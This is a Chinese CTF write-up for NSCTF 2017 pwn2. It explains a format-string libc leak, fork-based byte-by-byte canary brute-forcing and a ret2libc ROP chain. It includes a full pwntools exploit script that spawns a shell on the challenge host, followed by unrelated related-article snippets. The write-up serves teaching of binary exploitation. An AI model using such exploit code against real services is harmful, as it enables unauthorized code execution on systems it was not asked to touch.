程序基本信息

   32位动态链接程序,开启了数据段不可执行以及栈溢出保护

程序漏洞

   在函数中sub_80487fa中有一个格式化字符串漏洞和read函数栈溢出漏洞

整体思路

   首先不用说,肯定得先想办法栈溢出,溢出函数我们已经找到,接下来的问题就是得泄露出canary的值,从而绕过栈溢出保护。我们当然可以通过格式化字符串漏洞泄露canary的值,也另外一种方法就是爆破获得canary的值。程序中有fork函数,通过fork函数打开的子进程因爆破失败结束了也不会影响父进程,借此我们可以不断调用子进程来爆破canary的值。获得canary的值后,因题目给了libc,我们只要随便泄露出库函数的地址,借此计算system与/bin/sh的地址,再通过rop技术,即可pwn掉程序。

exp脚本

#!/usr/bin/python
#coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.3', 10001) canary = '\x00' #canary最低字节必为\x00
for i in xrange(3):
for j in xrange(256):
io.sendline('Y')
io.recv()
io.sendline('%5$p') #泄露栈上的libc地址
io.recvuntil('game ')
leak_libc_addr = int(io.recv(10), 16) io.recv()
payload = 'A'*16 #构造payload爆破canary
payload += canary
payload += chr(j) #逐字节爆破canary
io.send(payload)
io.recv()
if ("" != io.recv(timeout = 0.1)): #如果canary的字节位爆破正确,应该输出两个"[*] Do you love me?",因此通过第二个recv的结果判断是否成功
canary += chr(j) #将正确字节拼接上
log.info('At round %d find canary byte %#x' %(i, j))
break log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x1b6e00 + 0x3b060 #0x1b6e00和0x3b060分别为IO_2_1_stdin_距离libc头部偏移
binsh_addr = leak_libc_addr - 0x1b6e00 + 0x15fa0f #/bin/sh字符串距离libc头部偏移
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr)) payload = '' #构造payload执行system('/bin/sh')
payload += 'A'*16
payload += canary #将canary放在正确的位置
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC' #返回地址任填
payload += p32(binsh_addr) io.sendline('Y') #[*] Do you love me?
io.recv()
io.sendline('1') #[*] Input Your name please: 随便一个输入
io.recv()
io.send(payload) #[*] Input Your Id: 漏洞产生点
io.interactive()

发现的问题

   原文中泄露的libc中的地址是_cxa_atexit+25,但是通过我比较发现,不同库同一函数的代码可能是不一样的

我电脑使用的libc的_cxa_atexit

题目给的libc

   所以说我们在计算函数在内存中的偏移时,最好使用函数名或者全局变量(比如说上文使用的IO_2_1_stdin_)

内容参考

Linux pwn入门教程(9)

NSCTF 2017-pwn2的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. CI Weekly #10 | 2017 DevOps 趋势预测

    2016 年的最后几个工作日,我们对 flow.ci Android & iOS 项目做了一些优化与修复: iOS 镜像 cocoapods 版本更新: fir iOS上传插件时间问题修复: ...

  3. 猖獗的假新闻:2017年1月1日起iOS的APP必须使用HTTPS

    一.假新闻如此猖獗 刚才一位老同事 打电话问:我们公司还是用的HTTP,马上就到2017年了,提交AppStore会被拒绝,怎么办? 公司里已经有很多人问过这个问题,回答一下: HTTP还是可以正常提 ...

  4. iOS的ATS配置 - 2017年前ATS规定的适配

    苹果规定 从2017年1月1日起,新提交的 app 不允许使用NSAllowsArbitraryLoads来绕过ATS(全称:App Transport Security)的限制. 以前为了能兼容ht ...

  5. 深入研究Visual studio 2017 RC新特性

    在[Xamarin+Prism开发详解三:Visual studio 2017 RC初体验]中分享了Visual studio 2017RC的大致情况,同时也发现大家对新的Visual Studio很 ...

  6. Xamarin+Prism开发详解三:Visual studio 2017 RC初体验

    Visual studio 2017 RC出来一段时间了,最近有时间就想安装试试,随带分享一下安装使用体验. 1,卸载visual studio 2015 虽然可以同时安装visual studio ...

  7. Microsoft Visual Studio 2017 for Mac Preview 下载+安装+案例Demo

    目录: 0. 前言 1. 在线安装器 2. 安装VS 3. HelloWorld 4. ASP.NET MVC 5. 软件下载 6. 结尾 0. 前言: 工作原因,上下班背着我的雷神,一个月瘦了10斤 ...

  8. Create an offline installation of Visual Studio 2017 RC

    Create an offline installation of Visual Studio 2017 RC ‎2016‎年‎12‎月‎7‎日                             ...

  9. .NET Core 2.0版本预计于2017年春季发布

    英文原文: NET Core 2.0 Planned for Spring 2017 微软项目经理 Immo Landwerth 公布了即将推出的 .NET Core 2.0 版本的细节,该版本预计于 ...

  10. 卡巴斯基2017激活教程_卡巴斯基2017用授权文件KEY激活的方法

    原创:天诺时空 更新时间:2016-11-09   2016年9月7日,卡巴斯基2017版全新上市,卡巴斯基依旧为大家奉上满足您所有需求的安全软件产品,为不同年龄层.不同人群给予全方位保护,同时延续卡 ...

随机推荐

  1. 图片预先加载 preloadjs

    <body><div class="loading"> <div class="progress"></div> ...

  2. MacOS X GateKeeper Bypass

    MacOS X GateKeeper Bypass OVERVIEW On MacOS X version <= 10.14.5 (at time of writing) is it possi ...

  3. linux7 上安装mongodb4.2.1操作步骤

    MongoDB是一个通用的.基于文档的分布式数据库,它是为现代应用程序开发人员和云时代而构建的.没有数据库能让你更有效率. 1.下载需要的软件包https://www.mongodb.com/down ...

  4. Django请求生命周期和ORM

    dajngo请求生命周期 django请求生命周期是:当用户在browser点击URL后,在django后台都发生了什么. 请求响应Http 1.发送Http请求 2.服务器接收,根据请求头中url在 ...

  5. MySQL常见interview

    mysql支持的存储引擎,以及各自区别 常用的有myisam,innodb,bdb myisam是mysql默认存储引擎:不支持事务和外键,访问速度快,对事物完整性没有要求或者以select.inse ...

  6. DHCP服务——服务端 和 客户端 配置

    转载注明出处:https://www.cnblogs.com/kelamoyujuzhen/p/9520341.html  实验环境 rhel-server-6.4-x86_64-dvd(ED2000 ...

  7. 快上车,react 入门拾遗

    最近朋友圈和微博都刷了一波杰伦的回忆杀–说好不哭,想想都9012了,在学习react如火如荼的路上,也不妨停下脚步来总结总结,朝花夕拾一下. 为了便于阐述,我们还是来段小明和禅师的故事吧. 小明在学习 ...

  8. Linux系统硬链接和软链接说明 - 运维笔记

    在linux系统中有种文件是链接文件,可以用来解决文件的共享使用.链接的方式可以分为两种,一种是硬链接(Hard Link),另一种是软链接或者也称为符号链接(Symbolic Link).先来查看下 ...

  9. jsx的本质

    jsx语法 1.所有html标签他都支持        <div></div> 2.大括号里面可以引入js变量 或者 表达式       {name || ''} 3.可以做判 ...

  10. 胡搞-强化版的light oj-1055-的思路-AI版的6重暴力For循环的BFS

    新题目大意: 三个棋子按照先后顺序,可以随意方向合法地走到空位置上(而不是像原题light oj-1055中的一样三个棋子每次走的方向都一致),当三个棋子全部走进目标地点,就结束:求需要指挥的最少次数 ...